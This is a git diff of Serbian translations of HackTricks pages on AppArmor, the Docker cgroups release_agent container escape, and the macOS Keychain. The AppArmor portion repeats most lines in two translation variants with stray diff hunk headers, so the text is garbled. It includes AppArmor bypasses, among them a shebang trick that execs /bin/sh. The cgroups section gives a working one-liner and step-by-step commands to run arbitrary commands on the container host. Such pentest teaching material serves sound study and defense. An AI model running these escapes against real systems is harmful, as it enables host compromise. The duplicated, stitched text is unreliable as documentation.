AppArmor je **kernel unapređenje dizajnirano da ograniči resurse dostupne programima putem profila po programu**, efikasno implementirajući obaveznu kontrolu pristupa (MAC) povezivanjem atributa kontrole pristupa direktno sa programima umesto sa korisnicima. Ovaj sistem funkcioniše tako što **učitava profile u kernel**, obično tokom pokretanja, a ovi profili određuju koje resurse program može da pristupi, kao što su mrežne veze, pristup sirovim soketima i dozvole za datoteke.
Postoje dva operativna moda za AppArmor profile:
- **Mod za sprovođenje**: Ovaj mod aktivno sprovodi politike definisane unutar profila, blokirajući akcije koje krše ove politike i beležeći svaki pokušaj njihovog kršenja putem sistema kao što su syslog ili auditd.
- **Mod za pritužbe**: Za razliku od moda za sprovođenje, mod za pritužbe ne blokira akcije koje idu protiv politika profila. Umesto toga, beleži ove pokušaje kao kršenja politika bez sprovođenja ograničenja.
- **Režim sprovođenja**: Ovaj režim aktivno sprovodi politike definisane unutar profila, blokirajući akcije koje krše ove politike i beležeći svaki pokušaj njihovog kršenja putem sistema poput syslog-a ili auditd-a.
- **Režim prigovora**: Za razliku od režima sprovođenja, režim prigovora ne blokira akcije koje idu protiv politika profila. Umesto toga, beleži ove pokušaje kao kršenja politike bez sprovođenja ograničenja.
### Komponente AppArmor-a
- **Kernel modul**: Odgovoran za sprovođenje politika.
- **Politike**: Određuju pravila i ograničenja za ponašanje programa i pristup resursima.
- **Politike**: Specificiraju pravila i ograničenja za ponašanje programa i pristup resursima.
- **Parser**: Učitava politike u kernel radi sprovođenja ili izveštavanja.
- **Alati**: Ovo su programi u korisničkom režimu koji pružaju interfejs za interakciju i upravljanje AppArmor-om.
- **Usluge**: To su programi u režimu korisnika koji pružaju interfejs za interakciju sa AppArmor-om i upravljanje njime.
### Putanje profila
AppArmor profili se obično čuvaju u _**/etc/apparmor.d/**_\
Sa `sudo aa-status` možete da izlistate binarne datoteke koje su ograničene nekim profilom. Ako možete da zamenite znak "/" tačkom u putanji svake navedene binarne datoteke, dobićete ime apparmor profila unutar pomenutog foldera.
Apparmor profili obično se čuvaju u _**/etc/apparmor.d/**_\
Sa `sudo aa-status` možete da vidite binarne datoteke koje su ograničene nekim profilom. Ako možete da zamenite znak "/" tačkom u putanji svake navedene binarne datoteke, dobićete ime apparmor profila unutar pomenutog foldera.
Na primer, **apparmor** profil za _/usr/bin/man_ će se nalaziti u _/etc/apparmor.d/usr.bin.man_
Na primer, **apparmor** profil za _/usr/bin/man_ biće smešten u _/etc/apparmor.d/usr.bin.man_
### Komande
```bash
@ -49,40 +63,40 @@ aa-mergeprof #used to merge the policies
```
## Kreiranje profila
* Da biste označili pogođeni izvršni fajl, dozvoljeni su **apsolutni putovi i džokere** (za globiranje fajlova) za specificiranje fajlova.
* Da biste označili pristup koji će binarni fajl imati nad **fajlovima**, mogu se koristiti sledeće **kontrole pristupa**:
* **r** (čitanje)
* **w** (pisanje)
* **m** (mapiranje u memoriju kao izvršni fajl)
* **k** (zaključavanje fajlova)
* **l** (kreiranje hard linkova)
* **ix** (izvršavanje drugog programa sa novim programom koji nasleđuje politiku)
* **Px** (izvršavanje pod drugim profilom, nakon čišćenja okruženja)
* **Cx** (izvršavanje pod djim profilom, nakon čišćenja okruženja)
* **Ux** (izvršavanje bez ograničenja, nakon čišćenja okruženja)
* **Promenljive** mogu biti definisane u profilima i mogu se manipulisati izvan profila. Na primer: @{PROC} i @{HOME} (dodajte #include \<tunables/global> u fajl profila)
* **Pravila zabrane su podržana za prevođenje pravila dozvole**.
* Da biste naznačili pogođeni izvršni fajl, dozvoljeni su **apsolutni putevi i džokere** (za pretragu fajlova) za specificiranje fajlova.
* Za označavanje pristupa koji će binarni fajl imati nad **fajlovima**, mogu se koristiti sledeće **kontrole pristupa**:
* **r** (čitanje)
* **w** (pisanje)
* **m** (mapiranje u memoriju kao izvršiv)
* **k** (zaključavanje fajla)
* **l** (kreiranje tvrdih linkova)
* **ix** (za izvršavanje drugog programa sa novim programom koji nasleđuje pravila)
* **Px** (izvršavanje pod drugim profilom, nakon čišćenja okruženja)
* **Cx** (izvršavanje pod djetetovim profilom, nakon čišćenja okruženja)
* **Ux** (izvršavanje bez ograničenja, nakon čišćenja okruženja)
* **Promenljive** se mogu definisati u profilima i mogu se manipulisati izvan profila. Na primer: @{PROC} i @{HOME} (dodajte #include \<tunables/global> u fajl profila)
* **Pravila zabrane podržana su za poništavanje pravila dozvole**.
### aa-genprof
Da biste lako započeli kreiranje profila, apparmor vam može pomoći. Moguće je da **apparmor pregleda akcije koje izvršni fajl izvršava, a zatim vam omogući da odlučite koje akcije želite da dozvolite ili zabranite**.\
Samo trebate pokrenuti:
Da biste olakšali kreiranje profila, apparmor vam može pomoći. Moguće je da **apparmor ispita akcije koje izvršni fajl obavlja, a zatim vam dozvoli da odlučite koje akcije želite dozvoliti ili zabraniti**.\
Samo treba da pokrenete:
```bash
sudo aa-genprof /path/to/binary
```
Zatim, u drugoj konzoli izvršite sve radnje koje će binarna datoteka obično izvršiti:
Zatim, u drugoj konzoli izvršite sve radnje koje binarni fajl obično izvršava:
```bash
/path/to/binary -a dosomething
```
Zatim, u prvom konzolu pritisnite "**s**", a zatim u zabeleženim akcijama naznačite da li želite da ignorišete, dozvolite ili nešto drugo. Kada završite, pritisnite "**f**" i novi profil će biti kreiran u _/etc/apparmor.d/path.to.binary_
Zatim, u prvom konzoli pritisnite "**s**", a zatim u zabeleženim akcijama naznačite da li želite da ignorišete, dozvolite ili nešto drugo. Kada završite, pritisnite "**f**" i novi profil će biti kreiran u _/etc/apparmor.d/path.to.binary_
{% hint style="info" %}
Koristeći strelice možete odabrati šta želite da dozvolite/odbijete/nešto drugo
Koristeći strelice možete izabrati šta želite da dozvolite/odbijete/nešto drugo
{% endhint %}
### aa-easyprof
Takođe možete kreirati šablon apparmor profila za binarnu datoteku sa:
Takođe možete kreirati šablon apparmor profila binarnog fajla sa:
```bash
sudo aa-easyprof /path/to/binary
# vim:syntax=apparmor
@ -108,7 +122,7 @@ sudo aa-easyprof /path/to/binary
}
```
{% hint style="info" %}
Napomena da prema zadanim postavkama u kreiranom profilu ništa nije dozvoljeno, tako da je sve odbijeno. Morate dodati linije poput `/etc/passwd r,` da biste omogućili čitanje binarnog `/etc/passwd` na primer.
Imajte na umu da podrazumevano u kreiranom profilu ništa nije dozvoljeno, tako da je sve zabranjeno. Morate dodati linije poput `/etc/passwd r,` da biste omogućili binarno čitanje `/etc/passwd` na primer.
{% endhint %}
Zatim možete **primeniti** novi profil sa
@ -117,12 +131,12 @@ sudo apparmor_parser -a /etc/apparmor.d/path.to.binary
```
### Modifikovanje profila iz logova
Sledeći alat će čitati logove i pitati korisnika da li želi da dozvoli neke od detektovanih zabranjenih radnji:
Sledeći alat će pročitati logove i pitati korisnika da li želi da dozvoli neke od detektovanih zabranjenih akcija:
```bash
sudo aa-logprof
```
{% hint style="info" %}
Koristeći strelice možete odabrati šta želite da dozvolite/odbijete/šta god
Korišćenjem strelica možete odabrati šta želite da dozvolite/odbijete/bilo šta drugo
{% endhint %}
### Upravljanje profilom
@ -135,12 +149,12 @@ apparmor_parser -R /etc/apparmor.d/profile.name #Remove profile
```
## Dnevnici
Primer **AUDIT** i **DENIED** dnevnika iz _/var/log/audit/audit.log_ izvršnog fajla **`service_bin`**:
Primeri **AUDIT** i **DENIED** dnevnika iz _/var/log/audit/audit.log_ izvršnog fajla **`service_bin`**:
```bash
type=AVC msg=audit(1610061880.392:286): apparmor="AUDIT" operation="getattr" profile="/bin/rcat" name="/dev/pts/1" pid=954 comm="service_bin" requested_mask="r" fsuid=1000 ouid=1000
type=AVC msg=audit(1610061880.392:287): apparmor="DENIED" operation="open" profile="/bin/rcat" name="/etc/hosts" pid=954 comm="service_bin" requested_mask="r" denied_mask="r" fsuid=1000 ouid=0
```
Možete dobiti ove informacije koristeći:
Takođe možete dobiti ove informacije koristeći:
```bash
sudo aa-notify -s 1 -v
Profile: /bin/service_bin
@ -158,9 +172,9 @@ Logfile: /var/log/audit/audit.log
AppArmor denials: 2 (since Wed Jan 6 23:51:08 2021)
For more information, please see: https://wiki.ubuntu.com/DebuggingApparmor
```
## Apparmor u Dockeru
## Apparmor u Docker-u
Primetite kako je podrazumevano učitan profil **docker-profile** za docker:
Primetite kako je profil **docker-profile** u docker-u učitan podrazumevano:
```bash
sudo aa-status
apparmor module is loaded.
@ -176,62 +190,62 @@ apparmor module is loaded.
/usr/lib/connman/scripts/dhclient-script
docker-default
```
Podrazumevano, **Apparmor docker-default profil** se generiše sa [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
Podrazumevani **Apparmor docker-default profil** generiše se sa [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
**docker-default profil sažetak**:
* **Pristup** svim **mrežama**
* **Nijedna sposobnost** nije definisana (Međutim, neke sposobnosti će doći iz uključivanja osnovnih osnovnih pravila, tj. #include \<abstractions/base>)
* Nijedna **sposobnost** nije definisana (Međutim, neke sposobnosti dolaze iz uključivanja osnovnih osnovnih pravila tj. #include \<abstractions/base>)
* **Pisanje** u bilo koji **/proc** fajl nije **dozvoljeno**
* Ostali **poddirektorijumi**/**fajlovi** od /**proc** i /**sys** su **odbijeni** pristup za čitanje/pisanje/zaključavanje/povezivanje/izvršavanje
* **Montiranje** nije dozvoljeno
* **Ptrace** se može pokrenuti samo na procesu koji je ograničen istim apparmor profilom
* **Montiranje** nije **dozvoljeno**
* **Ptrace** se može pokrenuti samo na procesu koji je ograničen istim **apparmor profilom**
Jednom kada **pokrenete docker kontejner**, trebali biste videti sledeći izlaz:
Kada **pokrenete docker kontejner** trebalo bi da vidite sledeći izlaz:
```bash
1 processes are in enforce mode.
docker-default (825)
```
Imajte na umu da će **apparmor čak blokirati privilegije sposobnosti** koje su podrazumevano dodeljene kontejneru. Na primer, može **blokirati dozvolu za pisanje unutar /proc čak i ako je dodeljena SYS\_ADMIN sposobnost**, jer apparmor profil za docker podrazumevano odbija ovaj pristup:
Napomena da će **apparmor čak blokirati privilegije mogućnosti** dodeljene kontejneru po podrazumevanim vrednostima. Na primer, moći će **blokirati dozvolu za pisanje unutar /proc čak i ako je SYS\_ADMIN mogućnost dodeljena** jer apparmor profil za docker podrazumevano odbija ovaj pristup:
```bash
docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined ubuntu /bin/bash
echo "" > /proc/stat
sh: 1: cannot create /proc/stat: Permission denied
```
Potrebno je **onemogućiti apparmor** kako biste zaobišli njegova ograničenja:
Morate **onemogućiti apparmor** da biste zaobišli njegova ograničenja:
```bash
docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu /bin/bash
```
Napomena da će **AppArmor** po defaultu **onemogućiti kontejner da montira** foldere iznutra čak i sa SYS\_ADMIN mogućnostima.
Napomena da će **AppArmor** podrazumevano **zabraniti kontejneru da montira** fascikle iznutra čak i sa SYS\_ADMIN sposobnošću.
Napomena da možete **dodati/ukloniti** **mogućnosti** kontejneru (ovo će i dalje biti ograničeno zaštitnim metodama kao što su **AppArmor** i **Seccomp**):
Napomena da možete **dodati/ukloniti** **sposobnosti** kontejneru (ovo će i dalje biti ograničeno zaštitnim metodama poput **AppArmor**-a i **Seccomp**-a):
* `--cap-add=SYS_ADMIN` dodaje mogućnost `SYS_ADMIN`
* `--cap-add=ALL` dodaje sve mogućnosti
* `--cap-drop=ALL --cap-add=SYS_PTRACE` uklanja sve mogućnosti i samo dodaje `SYS_PTRACE`
* `--cap-add=SYS_ADMIN` dodaje `SYS_ADMIN` sposobnost
* `--cap-add=ALL` dodaje sve sposobnosti
* `--cap-drop=ALL --cap-add=SYS_PTRACE` uklanja sve sposobnosti i daje samo `SYS_PTRACE`
{% hint style="info" %}
Obično, kada **otkrijete** da imate **privilegovanu mogućnost** dostupnu **unutar** Docker kontejnera **ali** neki deo **eksploita ne radi**, to je zato što docker **apparmor to sprečava**.
Obično, kada **otkrijete** da imate **privilegovanu sposobnost** dostupnu **unutar** **docker** kontejnera **ali** deo **eksploatacije ne funkcioniše**, to će biti zato što docker **apparmor to sprečava**.
{% endhint %}
### Primer
(Primer sa [**ovde**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/))
Da bih ilustrovao funkcionalnost AppArmor-a, kreirao sam novi Docker profil "mydocker" sa dodatom sledećom linijom:
Da ilustrujem funkcionalnost AppArmor-a, kreirao sam novi Docker profil "mydocker" sa dodatom sledećom linijom:
```
deny /etc/* w, # deny write for all files directly in /etc (not in a subdir)
```
Da bismo aktivirali profil, potrebno je da uradimo sledeće:
Da bismo aktivirali profil, potrebno je uraditi sledeće:
```
sudo apparmor_parser -r -W mydocker
```
Da bismo prikazali profile, možemo koristiti sledeću komandu. Komanda ispod prikazuje moj novi AppArmor profil.
Da bismo naveli profile, možemo koristiti sledeću komandu. Komanda ispod navela je moj novi AppArmor profil.
```
$ sudo apparmor_status | grep mydocker
mydocker
```
Kao što je prikazano ispod, dobijamo grešku prilikom pokušaja promene "/etc/" jer AppArmor profil sprečava pristup za pisanje u "/etc".
Kao što je prikazano ispod, dobijamo grešku prilikom pokušaja promene "/etc/" jer AppArmor profil sprečava pristup za pisanje "/etc".
```
$ docker run --rm -it --security-opt apparmor:mydocker -v ~/haproxy:/localhost busybox chmod 400 /etc/hostname
chmod: /etc/hostname: Permission denied
@ -248,15 +262,13 @@ Zatim možete pokrenuti sledeću liniju da **pronađete tačan profil koji se ko
```bash
find /etc/apparmor.d/ -name "*lowpriv*" -maxdepth 1 2>/dev/null
```
U čudnom slučaju možete **izmeniti apparmor docker profil i ponovo ga učitati**. Možete ukloniti ograničenja i "zaobići" ih.
### AppArmor Docker Bypass2
**AppArmor se zasniva na putanji**, što znači da čak i ako štiti fajlove unutar direktorijuma kao što je **`/proc`**, ako možete **konfigurisati kako će se kontejner pokrenuti**, možete **montirati** proc direktorijum domaćina unutar **`/host/proc`** i on više neće biti zaštićen od strane AppArmor-a.
U čudnom slučaju možete **izmeniti apparmor docker profil i ponovo ga učitati.** Mogli biste ukloniti ograničenja i ih "zaobići".
### AppArmor Shebang Bypass
### AppArmor Bypass putem Shebang
U [**ovom bagu**](https://bugs.launchpad.net/apparmor/+bug/1911431) možete videti primer kako **čak i ako sprečavate izvršavanje perla sa određenim resursima**, ako samo kreirate shell skriptu **navodeći** u prvom redu **`#!/usr/bin/perl`** i **izvršite fajl direktno**, moći ćete izvršiti šta god želite. Na primer:
U [**ovom bug-u**](https://bugs.launchpad.net/apparmor/+bug/1911431) možete videti primer kako **čak i ako sprečavate perl da se pokreće sa određenim resursima**, ako jednostavno kreirate shell skriptu **specifikujući** u prvom redu **`#!/usr/bin/perl`** i **izvršite fajl direktno**, moći ćete da izvršite šta god želite. Na primer:
```perl
echo '#!/usr/bin/perl
use POSIX qw(strftime);
@ -266,16 +278,28 @@ exec "/bin/sh"' > /tmp/test.pl
chmod +x /tmp/test.pl
/tmp/test.pl
```
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) je pretraživač pokrenut na **dark webu** koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **ugroženi** od **malvera koji krade podatke**.
Njihov primarni cilj WhiteIntela je borba protiv preuzimanja naloga i napada ransomvera koji proizilaze iz malvera koji krade informacije.
Možete posetiti njihovu veb lokaciju i isprobati njihovu mašinu za pretragu **besplatno** na:
{% embed url="https://whiteintel.io" %}
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>

View file

@ -1,4 +1,4 @@
# Bekstvo iz cgroups-a pomoću Docker release_agent
# Bekstvo iz cgroups-a pomoću Docker release\_agent
<details>
@ -6,14 +6,27 @@
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) je pretraživač pokretan **dark-web**-om koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **kompromitovani** od strane **kradljivih malvera**.
Primarni cilj WhiteIntel-a je borba protiv preuzimanja naloga i napada ransomware-a koji proizilaze iz malvera za krađu informacija.
Možete posetiti njihovu veb lokaciju i isprobati njihovu mašinu za **besplatno** na:
{% embed url="https://whiteintel.io" %}
---
**Za dalje detalje, pogledajte [originalni blog post](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/).** Ovo je samo sažetak:
@ -25,50 +38,62 @@ t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
```
Dokazni koncept (PoC) demonstrira metod za iskorišćavanje cgroups-a kreiranjem `release_agent` fajla i pokretanjem njegovog pozivanja kako bi se izvršile proizvoljne komande na hostu kontejnera. Evo pregleda koraka uključenih u proces:
Dokazni koncept (PoC) demonstrira metod za iskorišćavanje cgroups-a kreiranjem `release_agent` fajla i pokretanjem njegovog poziva za izvršavanje proizvoljnih komandi na hostu kontejnera. Evo detaljnog opisa koraka uključenih u postupak:
1. **Priprema okruženja:**
- Kreira se direktorijum `/tmp/cgrp` koji će služiti kao tačka montiranja za cgroup.
- RDMA cgroup kontroler se montira na ovaj direktorijum. U slučaju odsustva RDMA kontrolera, predlaže se korišćenje `memory` cgroup kontrolera kao alternativu.
1. **Priprema Okruženja:**
- Kreiran je direktorijum `/tmp/cgrp` koji će služiti kao tačka montiranja za cgroup.
- RDMA cgroup kontroler je montiran na ovaj direktorijum. U slučaju odsustva RDMA kontrolera, predlaže se korišćenje `memory` cgroup kontrolera kao alternativa.
```shell
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
```
2. **Postavite podgrupu deteta:**
- Unutar montiranog direktorijuma cgroup, kreirajte podgrupu deteta nazvanu "x".
- Omogućite obaveštenja za podgrupu "x" tako što ćete upisati 1 u njegovu datoteku notify_on_release.
2. **Postavite podgrupu:**
- Unutar montiranog direktorijuma podgrupa se kreira pod nazivom "x".
- Obaveštenja se omogućavaju za podgrupu "x" upisivanjem broja 1 u njen fajl notify_on_release.
```shell
echo 1 > /tmp/cgrp/x/notify_on_release
```
3. **Konfigurišite Release Agent:**
- Putanja kontejnera na hostu se dobija iz fajla /etc/mtab.
- Zatim se konfiguriše release_agent fajl cgroup-a da izvrši skriptu nazvanu /cmd smeštenu na dobijenoj putanji hosta.
- Putanja kontejnera na domaćinu se dobija iz fajla /etc/mtab.
- Zatim se konfiguriše release_agent fajl cgroup-a da izvrši skriptu nazvanu /cmd smeštenu na dobijenoj putanji domaćina.
```shell
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
```
4. **Kreiranje i konfigurisanje skripte /cmd:**
- Skripta /cmd se kreira unutar kontejnera i konfiguriše se da izvrši ps aux, preusmeravajući izlaz u datoteku nazvanu /output unutar kontejnera. Specifikuje se puna putanja /output na hostu.
- Skripta /cmd se kreira unutar kontejnera i konfiguriše se da izvrši ps aux, preusmeravajući izlaz u datoteku nazvanu /output u kontejneru. Specifikovan je puni put do /output na domaćinu.
```shell
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
```
5. **Pokrenite napad:**
- Pokreće se proces unutar "x" podgrupe djece i odmah se zaustavlja.
- To pokreće `release_agent` (skriptu /cmd), koja izvršava ps aux na hostu i zapisuje izlaz u /output unutar kontejnera.
- Proces je pokrenut unutar "x" pod-cgroup-a i odmah je završen.
- Ovo pokreće `release_agent` (skriptu /cmd), koja izvršava ps aux na hostu i zapisuje izlaz u /output unutar kontejnera.
```shell
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
```
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) je pretraživač pokretan **dark web-om** koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **ugroženi** od **malvera koji krade podatke**.
Njihov primarni cilj WhiteIntela je borba protiv preuzimanja naloga i napada ransomvera koji proizilaze iz malvera koji krade informacije.
Možete posetiti njihovu veb lokaciju i isprobati njihov pretraživač **besplatno** na:
{% embed url="https://whiteintel.io" %}
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA ČLANSTVO**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>

View file

@ -6,64 +6,78 @@
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju oglašenu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) je **dark-web** pretraživač koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **kompromitovani** od strane **malvera za krađu podataka**.
Primarni cilj WhiteIntela je borba protiv preuzimanja naloga i napada ransomware-a koji proizilaze iz malvera za krađu informacija.
Možete posetiti njihovu veb stranicu i isprobati njihovu mašinu za **besplatno** na:
{% embed url="https://whiteintel.io" %}
---
## Glavni Keychain-ovi
* **User Keychain** (`~/Library/Keychains/login.keycahin-db`), koji se koristi za čuvanje **korisničkih kredencijala** kao što su lozinke aplikacija, internet lozinke, korisnički generisani sertifikati, mrežne lozinke i korisnički generisani javni/privatni ključevi.
* **System Keychain** (`/Library/Keychains/System.keychain`), koji čuva **sistemski kredencijali** kao što su WiFi lozinke, sistemski root sertifikati, sistemski privatni ključevi i lozinke aplikacija sistema.
* **Ključnik korisnika** (`~/Library/Keychains/login.keycahin-db`), koji se koristi za čuvanje **specifičnih za korisnika kredencijala** poput lozinki aplikacija, internet lozinki, korisničkih generisanih sertifikata, mrežnih lozinki i korisničkih generisanih javnih/privatnih ključeva.
* **Sistemski Keychain** (`/Library/Keychains/System.keychain`), koji čuva **sistemski kredencijali** kao što su WiFi lozinke, sistemski root sertifikati, sistemski privatni ključevi i sistemski lozinke aplikacija.
### Pristup lozinki Keychain-a
### Pristup Lozinki Keychain-a
Ove datoteke, iako nemaju inherentnu zaštitu i mogu biti **preuzete**, su šifrovane i zahtevaju **korisničku lozinku u plaintext-u za dešifrovanje**. Alat kao što je [**Chainbreaker**](https://github.com/n0fate/chainbreaker) može se koristiti za dešifrovanje.
Ovi fajlovi, iako nemaju inherentnu zaštitu i mogu biti **preuzeti**, su enkriptovani i zahtevaju **korisničku plaintext lozinku za dešifrovanje**. Alat poput [**Chainbreaker**](https://github.com/n0fate/chainbreaker) može se koristiti za dešifrovanje.
## Zaštita unosa u Keychain-u
## Zaštita Unosa u Keychain-u
### ACLs
### ACL-ovi
Svaki unos u Keychain-u je regulisan **Access Control Listama (ACLs)** koje određuju ko može izvršiti različite akcije na unosu Keychain-a, uključujući:
Svaki unos u keychain-u upravlja se **Access Control Listama (ACL-ovima)** koji određuju ko može izvršiti različite akcije na unosu u keychain-u, uključujući:
* **ACLAuhtorizationExportClear**: Dozvoljava nosiocu da dobije čisti tekst tajne.
* **ACLAuhtorizationExportWrapped**: Dozvoljava nosiocu da dobije šifrovan čisti tekst sa drugom pruženom lozinkom.
* **ACLAuhtorizationAny**: Dozvoljava nosiocu da izvrši bilo koju akciju.
ACLs su dalje praćene **listom pouzdanih aplikacija** koje mogu izvršiti ove akcije bez upita. To može biti:
ACL-ovi su dodatno praćeni **listom pouzdanih aplikacija** koje mogu izvršiti ove akcije bez upozorenja. To može biti:
* &#x20;**N`il`** (nije potrebna autorizacija, **svi su pouzdani**)
* Prazna **lista** (nije pouzdan niko)
* Prazna lista (**niko nije pouzdan**)
